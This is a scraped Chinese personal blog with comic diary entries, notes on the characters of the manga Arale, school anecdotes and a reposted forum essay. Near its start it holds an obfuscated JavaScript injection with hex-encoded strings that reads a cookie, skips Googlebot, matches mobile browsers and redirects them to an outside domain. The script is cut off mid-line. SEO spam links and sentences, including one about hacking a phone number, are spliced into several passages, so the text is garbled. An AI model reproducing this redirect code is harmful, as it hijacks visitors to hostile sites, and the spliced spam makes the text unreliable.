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县领导召集教师开会,定在早上9点. 教育局接到通知后,为了防止有人迟到丢面子,将开会时间提前了半个小时. 校长们接到开会通知后,害怕有人迟到丢面子,将开会时间提前了半个小时. 教师们接到开会通知后,害怕自己迟到丢面子,提前到场10分钟. 而领导们到9点半才陆续到齐,结果教师们就在会场闹哄哄地骂了一个多小时. var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. The biggest difference between homework-writer.com gre reading comprehension and toefl reading is that the gre asks for more logical thinking. +firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\. w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\. b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g [...]

七天一眨么眼就晃过去了，我都不知道自己干了些啥，总之对人类一点贡献都没有，和其他日子一样，厚颜无耻地呼吸着21世纪的空气，将饭吃到肚子里，将便便拉到马桶里。
晚上带着皮康王和书书吃饭，也算是关心下一代了吧，给书书买了书，给皮康王买了书包，皮康王乐的P颠P颠的，前后叫了我十几声“妈妈”，真有奶便是娘。书书越来越像姐姐了，文文静静的，喜欢读书。
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Note up front that apple’s component av cable is supposed to deliver the best-quality video output an ipod how to hack a phone number or iphone is capable of displaying

7. 山吹绿：阿拉蕾的老师，后来成了博士的妻子，是博士最爱的女人，同时也是满是BT的企鹅村里唯一一个比较正常的人，她美丽性感善良纯洁，估计是作者鸟山明心目中完美女人的代表。对于她为什么会嫁给博士，我研究了很久。按理说照博士那歪瓜裂枣的模样，在任何影视剧里也只配害害单相思啊，怎么就让他美梦成真了呢？
我研究来研究去，终于研究出来原因了，那就是：在企鹅村里，嫁给千平博士是山吹绿最好的选择了！
那，掐指一算，热恋中的小猪除外，企鹅村里的单身成年男子估计就这几个：酸梅超人，警察局里的两警察和则卷千平。而在这四个人当中，一直追求山吹的也只有则卷一个，当然太郎和小茜的爸爸也迷恋着山吹，但是他们都已婚。这样一来博士就不存在有竞争力的对手了。
从山吹绿的角度考虑，博士虽然长相参差点，但是嫁给他也有不少好处，比如说家务就比较省心，博士有很多稀奇古怪的发明，用放大缩小枪购物，用实物模拟录像机做饭菜，不仅如此，还不用当心自己变老变黄脸婆，为什么咧，因为博士有一个伟大的“还原机”，可以将任何事物还原成以前的样子，被阿拉蕾打裂的地球，就是被还原机还原的，那么不管她长多大，只要把还原机定义成她20岁的样子一摁按钮，成了，返老还童了！
就冲这，我要是山吹绿，哭着抢着也要嫁给千平博士啊。
8. 牛奶糖6号（小大人）：在介绍牛奶糖6号之前，我们要先说说他的主人马斯特博士。（据鸟山明本人的交待，马斯特博士是按照另一个者名漫画家桂正和的模样创作出来的，仔细对照一下可真像呢http://www. k2rcomic. com/images/k2r/talk_01. При первичном обследовании https://skyortho.com.ua специалисты основываются на жалобах и осмотре пациента; jpg。）马斯特是千平的老对头，尤其是阿拉蕾诞生后，马斯特发明的牛奶糖系列1号到5号统统被打败，他企图征服世界的梦想一次次的被无情击破，于是他恼羞成怒，但又不得不承认阿拉蕾的确NB（怎么老是有智商不够高的人兴兴的想征服这征服那呢），于是他卑鄙地偷偷模仿阿拉蕾的构造制作了牛奶糖6号。虽然结构功能一样，但是外形不一样，牛奶糖6号有一个6，7岁小男孩的样子，和阿拉蕾一般可爱。（有点像铁臂阿童木，鸟山明在恶搞了超人，咸蛋超人后，放过了铁臂阿童木。）
可是，牛奶糖带着消灭阿拉蕾的任务来到企鹅村后，对阿拉蕾一见钟情，立刻陷入情网，背叛了马斯特的险恶阵营，投向千平一家的怀抱，成为企鹅村的一份子，从此改名叫小大人。
小大人的性格和阿拉蕾恰好相反，他是个专一的情种，稳重懂事，和80年代的三好生差不多。他整天想着娶阿拉蕾为妻，然后再恳求博士为他们做一个机器人婴儿，这样，一个幸福美满的机器人家庭就成立了。
鸟山明创作小大人这样一个和阿拉蕾般配的机器人实在是太伟大了，太有爱心了！我们应该考虑到阿拉蕾的未来，她是永远不会变成一个真正的女孩子的，假如她的心智永远保持在5岁儿童期，那么小大人的陪伴会是一个恰到好处的照顾；假如她心智渐渐成熟，小大人的爱护会使她永远不觉得孤单。
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1. 则卷千平博士：阿拉蕾的创造者，企鹅村的博士，中年男子，五短身材，胡子拉杂，不修边幅，热衷于发明和女色，出于想拥有一个性感小保姆的心思创造了阿拉蕾，但是失败了－－阿拉蕾不但不性感，而且还麻烦无穷，不但不能照顾博士，还经常要博士照顾。然而博士一生中最精彩的作品恐怕就是阿拉蕾了，书中出现的其他两个博士：城里的有名气博士和老对头马斯特博士所创造的机器人和阿拉蕾相比，简直连坨屎都不如－－当然马斯特制作的牛奶糖6号除外，那完全是按照阿拉蕾的构造仿制出来的盗版机器人，虽然也力大无穷，但是最终还是陷入爱河，作了阿拉蕾的兔宝宝，和马斯特博士彻底划清了界限。
简单概括起来，则卷千平表面上看起来是个既懒惰又好色，十分猥琐的人，但是他很NB。
2. 阿拉蕾：故事里面的主人公，是千平博士制造出来的机器人，但是表面上看起来和一个五岁的小女孩没有多大区别，在她的身上有无穷的力量，能随便扔块石头就砸碎了月亮，或者随便一拳头就让地球裂道大口子。因为技术问题，视力不好，所以成天戴着一个大眼镜。她喜欢玩大便，最大的理想就是胸部变大。她是企鹅村人的骄傲，因为她无数次打败了怪兽和外星球的侵略者；同时，她也让企鹅村里的人头疼，因为她无数次撞坏警车，吓坏小孩，压毁房屋。成为阿拉蕾的朋友，有时会特别幸运，有时会特别倒霉。
3. 小吉：阿拉蕾的宠物，外形像个小婴儿，但是背上长着翅膀，头上长着能放电的触角，不会说人类的语言，但是和阿拉蕾却可以互相沟通，小吉的来历不明，是从博士阿拉蕾他们作时光机从恐龙时代带回的一个蛋里出来的，小吉胃口奇大，除了橡胶制品，什么都吃，第一次和阿拉蕾上学，就把学校吃掉了一大半。
在对《阿拉蕾》漫画读者的一次调查中，小吉因为形象超可爱获得众多选票人气超过了主人公阿拉蕾。
4. 尼可真大王：一个驾驶着UFO的国王企图侵略地球的外星人，却在半路上被阿拉蕾捣蛋鬼烦的要S，还被小吉吃掉了太空船，于是不得不带着随从来到企鹅村忍辱负重卖章鱼番薯攒钱买新的太空船。他死要面子，爱吹嘘，他看不起企鹅村的人，成天想征服他们，后来终于有机会回到尼可真星球，却还是依靠阿拉蕾的帮助赶走了侵略者。
但他来到企鹅村第一次看到大便的时候，惊喜地交待随从道：“地球上竟然有这么美丽的花，快采下来我要送给我们星球最美丽的姑娘。。。。”
5. 酸梅超人：以超人为原型扭曲出来的人物，只要在电话亭换装，再吃棵酸梅就能“变身”的记者，但是他不会飞，只会将肥大的身躯压到滑板上滚。这家伙自命不凡，成事不足败事有余，老以为自己是英雄，可以保护全人类，而且全人类都迫不及待地渴望着被他保护。可是一旦出了事情，就溜的比谁都快。
6. 王城恋太：以咸蛋超人为原型扭曲出来的人物，驾驶着小飞船履行着太空警察的义务，可是即使有三分钟变成咸蛋超人力量无穷的时间，恋太还是经常被揍的鼻青脸肿。
恋太最搞笑的就是他变身之后驾驶的飞船，在发射大炮的时候其实就是飞船伸出两只手朝敌人扔小石头。
酸梅超人和王城恋太的相似之处就是他们都有一种很强的优越感，自觉与众不同，可是一次次的失败使他们出尽洋相，其实他们就是不失败，样子也够笑人了。
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味道十分清淡，不知不觉就喝高了。。。。。
头昏昏的，傻乎乎笑了半天，一句话讲不出来。
嘿嘿
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小凡对俺炫耀，说她不满周岁的儿子是个天才。“那，我证明给你看。”
小凡拿出一本小画册，拖过他的儿子，指着一副鸭子的画问他：“宝宝，这是啥？”
“鸭鸭！”宝宝非常清晰地回答。
我惊为天人，赞扬了足足三分钟。
过了一会儿小凡去卫生间，我继续指着画册上的其他图问宝宝：“宝宝，这是什么？”
图上是一个小女孩。
“鸭鸭！”
“这个呢？”我指着电话。
“鸭鸭！”
哇，上当了！
想起陆龟蒙吹牛说他养的鸭子会说人话，问他会说什么话，又狡辩“会自呼其名”。
最终还是“鸭鸭”。
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Полную картину болезни можно увидеть после получения лабораторных и инструментальных skyortho.com.ua методах исследования

就是对TA好贝，让TA少吃苦贝，光靠嘴巴嚷嚷有啥子用内。
有人找理由说男人都是很粗心的动物，P话，真关心了也就不粗心了。非得等到失去了才嚎啊，那也是假嚎，老伴S了杂拌咧，谁来照顾我啊，再讨个也不见得贴心啊，于是乎心里难受了，出来煽情了，后悔当初净顾着舒坦被伺候忘了反伺候也是长线投资了。甚嘛玩意。
那谁，好好反省反省，好不容易结了婚，表再折腾了哈！
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我博客的字怎么突然变大了内？真好。
在网上看手机，看中一款西门子的才999元，外型酷必了，购买时还附送一个挺漂亮的扣带，下面的网友留言很搞笑：“好，万一手机丢了，扣带还能卖钱。”
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Ich möchte diese natürlich auch gerne mitnehmen, habe www.best-ghostwriter.com/ aber die befürchtung, dass es mit beiden kindern probleme auf der fahrt geben könnte

1，不能吃存放过久的东西，以前条件艰苦，不得不经常吃剩饭剩菜，现在大家生活水平都提高了，更加应该注重饮食健康；
2，在有空调的房间里呆的时间不能过长，凉快凉快就可以了，呆长了容易感冒；
3，人多的地方切勿扎堆，不安全；
4，千万不要留在喷过灭蚊剂的房间里，灭蚊剂有毒，杀伤性太大；
5，要积极地广泛地向大家介绍苍蝇拍的危险性，刚刚出生的孩子们还没见过它，不知道它虽然传统老土，但却是对付我们最直接了当的武器。
（苍蝇安全保卫厅2004年5月2日蚊）
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新生的劳动周我和班上的四个女生一齐被支派到学校花房劳动。我一听激动坏了。一开始我害怕被派去拖煤球，俗话说近墨者黑，我本来就够黑的了，拖煤球拖着拖着恐怕就变成一大煤球了－－好在结果被派去拖煤球的都是男生。我还怕被派去学生处抄档案，学生处里除了酷吏就是苦力，酷吏凶悍的要死，苦力受罪的要命－－好在被派去做苦力的都是班上的几个美女，天天坐在酷吏们的对面抄档案抄档案。饱这群妈妈的眼福。
我理想中的岗位是去图书馆劳动，可能是给书编编目录，整理整理杂志什么的，空闲下来的时候还能看看书，假如监工比较马虎，我或许可以顺手牵羊掳个一两本回去呢。
可是没能如愿，最后进图书馆的都是班委会的干部们－－可能是一早就看穿了一般群众不够道德的企图吧！
不过能进花房也不错啊，据说学校里的园丁们都很NB，弄的整个校园一年四季郁郁葱葱花团锦簇的，有些比较珍贵的花木都随便地立在道路旁或池塘边，造型十分优美。虽然我不大内行，但是别校的同学来玩耍的时候都称我们的学校给人印象最深的就是花草了，所以我相信，我们的校园之所以美丽是因为有了这些花花草草，而花房又是培养这些花花草草的聚集地，所以，花房又应该是校园里最美丽的地方。
果然，劳动周的第一天我一走进花房，就有一种头晕目眩的感觉－－花，花，花，到处都是花，花的海洋啊，花的天堂啊，定神看清楚后，发现脚下摆着一盆盆的几乎全部都是菊花，而且大都只开了一小半，可是花看半开别有趣味，我们正一盆盆品着呢，花房的大师傅过来了。他告诉我们这些菊花都是为国庆节菊花展准备的，有二三十种，我们一定要小心翼翼伺候，今天的任务主要就是将花茎扶正。
因为有的菊花花盘较大，所以耷拉了下来，我们要做的就是用细绳将一根小木棍和花杆绑在一起，使花挺直起来。这件事我们做了大半天。
第二天大师傅就嘱咐我们给花除虫。他在花盆里随手捉了一只小蜗牛，告诉我们这小家伙随时会爬上菊花花瓣，将它们咬的不成样子，所以只要看到这小蜗牛，就要毫不留情地将它碾死－－一边说着他的两指就使劲一捏，这种暴力的场面令我们不忍猝睹。
第二天我们忙乎了一天捉小虫，捉到后我们没法子学大师傅用手指消灭它们，我们只好手持半块砖头，一边捉虫一边砸虫，一时间美丽的花房血肉横飞。
第三天我没能够去花房，因为我从宿舍上铺摔下伤到了腿，经过班委会确认公证后，我被允许卧床休息，我请求班委会支派一个人来陪伴我－－这也是劳动嘛，可是被无情地拒绝了，我只好无聊地躺在床上看书，晚上听听同学们热烈地讨论大家劳动的情况。
听着听着我越来越欣慰了。原来去图书馆劳动的班干们也是灰头土脸啊，编目录整理杂志这么轻松的事情根本轮不到他们，学校新近在五楼增开了一个阅览室，他们被迫天天从一楼将书柜和书搬上去，心里那个叫亏啊，嘴上又不好说－－该啊，谁让他们见着便宜就要抢着上呢。
不过事先在班上宣扬去图书馆是最舒服的人，好，好像就是我呢。。。。
在花房劳动的其他同事们在第三天劳动结束后满身怪味地回来呢了，她们忙不迭地打水洗澡，告诉我今天她们今天的任务就是配制肥料，通俗点讲，就是淘大粪去了。大师傅让她们把淘来的大粪和上水放在阳光下暴晒，她们没料到会有这样的工作，其中一个受不住，往肥料里大吐特吐。
而且师傅还说，第四天的工作就是将发酵的肥料一瓢瓢地泼到花上。我一听顿时忘记了腿痛，幸灾乐祸地抠墙大笑。
虽然躺在床上，不过我还是有所建树地，比如在厨房劳动的两个女生，每天晚上都要包包子，为了能立刻吃到自己特制的肉陷特多的包子，她们绞尽脑汁地在包子上做记号，可是不管她们在包子上做了什么记号，蒸屉一打开她们还是找不见，为啥捏？因为面粉膨胀了嘛。
我出了个主意，叫她们将特制包子放在蒸屉外圈把手相对的地方，这样不需要做任何记号就能方便地找到啦。她们说对啊，夸我是神童来着。我一般不怎么被人夸，被夸了一次我就老是记得。
我还知道其他学校的劳动周新生们也这样，比如我弟弟的劳动周因为领导要来检查校长命令他们擦树叶－－因为北方风沙大，树叶都是灰蒙蒙的；还有一个读军校的因为学校实在是没有什么事情令他们做了，就让他们把锅炉边的媒堆从A处挪到B处，再从B处挪到A处。可是不管做什么或是多么辛苦，对于我们来说都是有趣的，而且还不用上课。所以每年汛期到来之前上级要求我们扛着铁锹挖土垒河圩，我都P颠P颠地去，而且还兴奋莫名，可能是潜意识里对那段时光的怀念。
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连续没有周末的四个星期终于结束了。
我上班，我下班，我加班，我用布满血丝的眼睛看着路人在我身边插肩而过，我想用笨拙的小擒拿揪住他们，问他们：你，下班了没？
我太盼望放假了，以至于时间都用毫秒来计算。一想到有着一个7×24×60×60×1000毫秒连续闲暇的幸福时段在前方急吼吼吼吼急地等待着我，我全身的细胞都想瞬间化作小鸟朝它扑着小翅膀飞去。
我太盼望放假了，以至于不能忍受放假前哪怕只有一毫秒的时段。我想，上帝啊，请怜悯我，使五月一日前的每一天都等于3小时，而每小时都等于3分钟吧！
等到放假，我想，我决定。。。。。。当当当－－－党。。。。。。剪脚趾甲以及手指甲！！
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说来惭愧，咱家的平生绝学都是来自镇上的租书店，10元钱可以看三十本书，在没有推理小说看的情况下，俺就看科幻小说，要是没有科幻小说，俺就看武侠小说，要是没有武侠小说，俺就看漫画，要是没有漫画，俺就只好看其他题材的通俗小说。通俗小说中也有令俺爱不释手的，比如王小波的小说，居然看着看着就被人告知说王小波去世了，他的小说已经升级成为名著了。
按照俺有限的智商来区别名著和通俗小说，可不是用时间－－给它一万年，看它还是不是还象现在一样拽－－俺可等不到。俺想，在简体中文范围内，凡是俺看不懂的，理解不了的，朕统统封它们为名著，用黄金纸层层包住锁进红木箱子里，非白头发长胡子眼镜度数小于等于1000者不许看。
这样一来池莉就可怜了，因为她的小说俺能看的懂，所以在俺的心目中，它们就算是通俗小说了。而这一点恰好也与池莉本人的看法一致。在一本书的跋里，池莉说到她写小说的目的－－好像没有讲到她超强烈的创作欲望－－她说她在这个世界上至少会有一个人被她的作品打动，而那，将会是一件美好的事情。
池莉不停地写着小说，故事虽然不同，但是不同的故事里面总是在重复着某一部分东西，人物性格啊语言啊思想活动啊叙述的语气啊。。。看多了总是记不住，而且容易张冠李戴。比如说要不是《云破处》里面的真善美杀死了金祥，我会以为他们就是《来来往往》里面的康伟业和段丽娜。不过俺倒不在乎，俺注重的是情节，情节！另外，在重复又重复的创作过程中，总会有一两篇脱颖而出的吧。
池莉说，写小说第一要紧的是好看。好看包括什么捏？俺以为第一是语句通顺连贯简单易懂；第二是情节安排奇巧令人耳目一新；第三是看完后令人印象深刻，发人深省倒没必要，象俺这样的猪脑子，就喜欢声色刺激，弄高深了也是白费力气。俺想，能发人一般地省省就行了吧～
比如说她有一个短篇，是给我印象最深刻的短篇（MD却记不得名字了），说A在路上远远望见了B，因为两人之间有嫌隙A非常想躲开B，但是最终却没有避开。因为这种尴尬场面在生活中再普通不过了，所以俺深深地被打动了，觉得她写的非常到位。
还有好的小说比如前面提到的《云破处》，《来来往往》，《不要和陌生人说话》， 《小姐你早》。。。（好多记不起名字，5555）
和其他的当代女作家相比，俺觉得池莉更加理性聪明一点。她小心翼翼地和作品中的人物保持着距离（让人感觉她很内敛，不是宣泄型的，不是利用写作之便，趁机塑造心目中完美的自己的那一类人）。开始读池莉的时候会感觉和读张欣的差不多，但是读着读着区别就出来了，池莉的文字冷峻，而且题材广一些。要是选以恋爱婚姻家庭之外的东西为主题的小说，张欣就没啥东东了，可是池莉还有好多，这就是俺更喜欢池莉的地方。
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革这伙MMD命吧。。。。。
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出发前，校长一再强调，介是个政治任务，切不可在学生家喝一口水或抽一根烟，午餐和水都得自己带着，这次家访，好像是做给别人看的，所以弄的象小学生郊游。
在分组的时候我悄悄在心里打小算盘。我们这一大组有7个人，基本上两个人一小组。迷死江和迷死王是好朋友，据说海枯石烂都不能把她们分开。因为我们这一组有7个人，所以一定会出现三个人的小组，组长安排迷死杨加入了迷死江和迷死王，令这三个小八婆组成了一小组。我打心眼里不愿意和组长一组，因为他做事情太认真，老是认死理，爱钻牛角尖，在他的监督下，我可能偷不着懒。迷死特尹是个类似于粪青的人，在八卦上偶尔也有建树，比如上次他教我们用纸币在墙上擦颜色，令我崇拜了他好几天，但是大部分时间他都用来讲领导坏话，不仅如此，他还经常强迫听的人附和他，被附和之后他就很得意，认为自己是对的，比领导NB的多了，和他一组我估计不能一边骑车一边听音乐了，而且耳朵还会比较疲惫。剩下的迷死特胡是个老婆奴，性格憨厚老实，脸上经常带着血印子上课，据说就是老婆抠地，平时话很少，印象较深的一次是在办公室十分谨慎地咨询怎么打老婆。我想，搭档就他了。
早晨我带着干粮出发了，25分钟后到达最近的一个村口，掏出小本本一看，这个村子上住着需要走访的三个学生。迷死特胡说，先找宗凯吧，因为村口就住着一家姓宗的，打听一下或许就是呢。可是打听过后发现不是，不过那家主人却十分热心，片刻功夫召集来村里所有宗姓的小孩，问我们要找哪个，我们一一看去，发现一个都不是我们要找的。
因为没有吃早饭，我站在路口啃了几个蛋糕，一边和迷死特胡商量接下来应该往何处去找宗凯。这时走过来一个农民，告诉我们马路对面的枫树宕住着一个叫刘齐的人，他儿子听说叫宗凯。我想这难度大了，恐怕后面有许多不随爹姓的娃娃，都不那么好找。
枫树宕是个很安静很清幽的村子，一路上车子骑不得了，因为路太崎岖，只得推着。我很后悔没有随身带着相机，拍下路边长的直溜溜的桐树，还有扑满淡紫色落花的乡间小径。空气潮湿且泛着清香，看见野蔷薇和紫藤点缀在一丛一丛的灌木里，我觉得自己的心情好极了。
来到宗凯家，才知道宗凯的爹全名叫宗刘齐，村里几乎所有的人都以为他姓刘，可是今天他不在家，宗凯的妈也不在。他们都去别处打工了，留下奶奶照顾宗凯和两个妹妹。
屋子里的东西乱七八糟地堆放着，奶奶年纪大了，经常有照顾不到的地方，宗凯在学校调皮万分，在家里却是小大人。他彬彬有礼地接待我们，并且答应给我们带路找到附近其他的同学家。
接下来的是，我们所找到的学生家，几乎所有的父母都外出打工了，孩子们都住在不知道哪里的亲戚处，户户门扉紧闭，只有邻居的狗闻声跳将出来吠个不停，还作势要咬我们。我不停地怪叫，希望能够吓退它们。迷死特胡告诫我，本校的老师有在家访时被群狗攻击并咬伤的历史，因此看见狗最好不要叫的比它还凶，坦然地走过去就行了。
这时我看见宗凯偷偷在笑，我问他笑什么，他扭捏地说：“有我在你们不用怕狗。”
转完全村后，连宗凯一起才找到两个学生。怎么办？这时候已经中午了，还往更远的地方去吗？
迷死特胡说出我心里想，他说：“累坏了，今天就到这里吧，下次家访，还是事先打好招呼的才行。”
接下来他又说：“再说，我要赶回去做饭。。。”
我会心一笑，说好好好。
这次的家访就这样结束了，预定任务连三分之一都没完成。
宗凯有点恋恋不舍地和我们说了再见－－好像他才是最想每家学生都跑到的人。
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两次去医院都见到老绍，不由得关心起来，问他：“您最近身体有啥不舒服吗？怎么老往医院跑？”
老绍说：“哪里有不舒服，我是路过。”
躁S。。。
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我一直以为自己不够聪明，在奶妈您的眼珠子里面，我简直约等于白痴，但是。。。
前几天我给您出了一个小小的根本算不上智力题的题目，您居然想了三天都想不出来答案。我实在是太高兴了，我实在是太得意了，因为，我拿到题目后只考虑了三分钟就把答案想出来了。。。
挖哈哈。。。。
我那久违了的自信心，在奶妈您的身上找回来啦！
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幸运的是，我还有自由，我还能爱
提交者 : 和菜头 于 北京时间 2004-04-16 01:56:11
有多少次暗笑前人，觉得不智。何以汪先生就发了艳电，何以巴巴罗沙计划得以实行，何以羔羊们趁牧人不在的空档就迅速造起了金牛？而当选择权在手，你就置身在历史那一刻，你如何确信你的选择正确无误？你又如何知道看似甜美的果实落在手中是否会变成炽热的烈焰？
我走了很远的路到来，我周游过很多地方到来，我来这里是特为了告诉你们：比特海里已经没有多少地方可供驻足了。
珊瑚礁恣意生长，岛屿布满海洋的日子早已远去。每天有多少侯鸟力竭落水身亡，你们提着凿子和斧子准备干什么呢？亲爱的朋友，海啸刚刚过去，你提着凿子和斧子准备干什么呢？亲爱的亲爱的，请你告诉我，你真的真的真的是要修筑防波堤吗？
小甜心，看着我的眼睛。请你告诉我，你真的不是想安装雷管和炸药，炸毁我们的小岛，好搬到你家里做成假山石。或者，放在你的水族箱里，连我也一起放进去。早也看我等食，晚也看我等食，满足而惬意。我最爱的蜜糖啊！麻烦你告诉我好吗？
聪明的心肝，你凿这些小眼干什么呢？给每一滴海水一个窝？好让它们在涛声中安睡？可是，当冬天到来的时候—我是说冰川总会再次前来，那些小水滴就会凝固，就会膨胀，就会一点点把我们的小岛挤成碎片。噢，亲爱的，我都已经听见，我都听见了，那些小水滴在喊叫：我们是旅店的客人！我们要我们应得的服务！
我的至爱啊，那时你会在哪里呢？你在哪里？你安抚他们的，不是吗？他们会听你的，不是吗？你那时就能决定我们的小小小小岛屿去哪里的，不是吗？你不那么多年里一直凿洞吗？你不那么多年里一直在爆破吗？所有的明天是因为今天，你决定了让我们去到那个明天，于是我们就只能跟着你，是吗？
因为我们到时已经无处可去，不是吗？
聪慧的你，可爱的你，能干的你，温柔的你，我爱你！我爱你的自信，我爱你的智慧，我爱你如上帝一般全能的安排！
可是，你怎么把我当金鱼养了？亲爱的，你有错觉了，你有幻觉了。亲爱的，我他妈是条鲨鱼！ 亲爱的，所有的，所有的东西都是要偿还的。所有的，所有的小游戏，总有人能看出底牌的。上帝啊！每个人如果都能如他自己想的一般聪明，这世界该多美好啊！亲爱的，这世界真他妈的残酷，不是吗？这世界真他妈没劲，是吗？ 沉默无语不意味着没有主见，佯狂过市不等于看不清楚。
亲爱的，你忘记了一点：我还有那么一点点自由，我还能爱。我的世界还没有简化到只是加减乘除的数学计算，我不计算我的爱，所以你买不了我这一票。
亲爱的，你的鲨鱼现在要告诉你：我不准备在我们的小珊瑚岛上凿眼，我会在黑夜里背水泥来，放下就走。我不要求我对水泥的物权，永远不！我不管这水泥是用了，倒了，砌私家烟囱了。我只管背来，放下，然后走人。亲爱的，这种行为愚蠢，而且不符合经济人的理性。但是我会去做，即使没多大作用，我也做，做到做不了的那天为止。我也许不得不看着它下沉，因为那点水泥的确太少了点。可我还是会去背，去送，继续这件愚蠢的事。可能这事真的很难理解，亲爱的，这叫爱。抱歉，这一点你算不到，你买不去。
谁给予我，我永远记得，并且永怀感激之心。谁要从我手中剥夺，我绝不妥协，你终将一无所有。
亲爱的，我得去睡了。但是别忘了，我盯着你呢。
那谁谁谁，要进来好好学习学习，尤其是黑体的部分！
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凡是点到名字的人在操场上排好队，呆会儿我们手牵手儿郊游去！
裤衩！
哪，我第一个点你了，别哭了哈：）
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What would you, our readers see full review like to see when apple brings forth the ipad 3

我已经有好几天没上网了，我也不知道到底发生了什么到处说这里要关，我害怕有些话不说就来不及说了，所以骑上我的自行车跌跌跄跄来到网吧。
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刚刚打开博客，看见纳纳的留言，说已经把博客入口留到我的连接上了，所以我每次写日记的时候就不用老把入口地址贴在第一句的位子上。我看了以后，嗓子有点痒，眼睛有点热，心里有点感动。
我想起一年前来到泡网的时候，第一个被我调戏的人是身是客，第一个责备我的人是麦客，第一个和我发生口角的人是愈快乐，第一个握我手的人是蓝的够戗，第一个说暗恋我的人是温柔第一辣，第一个交换姓名的人是江南暖，第一个送我礼物（是qq号）的是夏天最后一朵玫瑰，第一个说教我发主贴的人是睡鱼，第一个给和我在茶馆聊天的人是路上，第一个替我“扬名”的人是onebite，第一个教我用msn的是小妖精小小，第一个教我贴图的是莱茵河和daidai，第一个教我在茶馆打无耻小旗子的人是鱼骨头。。。。。。
所有的人都是从陌生到熟悉，用客客的话说不着一字，尽得默契，无论是吵架还是bt，总是痛快淋漓。
一开始总是埋头写帖子写帖子，想尽力地叫别人注意到自己，为了达到这个目的我简直可以说是不择手段，比如说点击率吧，我前头刚刚发出一个帖子，后头就点开拼命地按刷新，直到点击数字令我满意为止（一个有120个点击的帖子，至少有70个是我自己点的。有次otdr还为我打抱不平，说200多人看贴为何只有2人回帖。）。
不过渐渐地我也开始对别人感起兴趣来，帖子少了，废话多了，但是心情却平和坦荡了许多。我想这才是我想要的，而这里的朋友就是有这样的性情和魅力，包容一个有野心的人，令征服的欲望融解为赤子之心。
在这样的心态下，我才觉得，我是这里的一分子。而且，不愿意离开。
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昨天上午比赛抽到十三号。真紧张啊真紧张，一紧张我就禁不住搓手泥，用大拇指在掌心来回蹭，不到5分钟的时间我就搓得一大堆手泥，手掌显得又白又干净。
画画的题目是大白菜，小松鼠，水瓶，山村，和“鹅鹅鹅曲项向天歌”等等，交卷的时候评委笑，说我画的鹅好像烤鸭火锅。
到最后一个环节的时候肚子饿的咕咕叫，真是：饿饿饿，曲项向天歌。
以后的很多天，恐怕都要在不停的比赛中度过了。
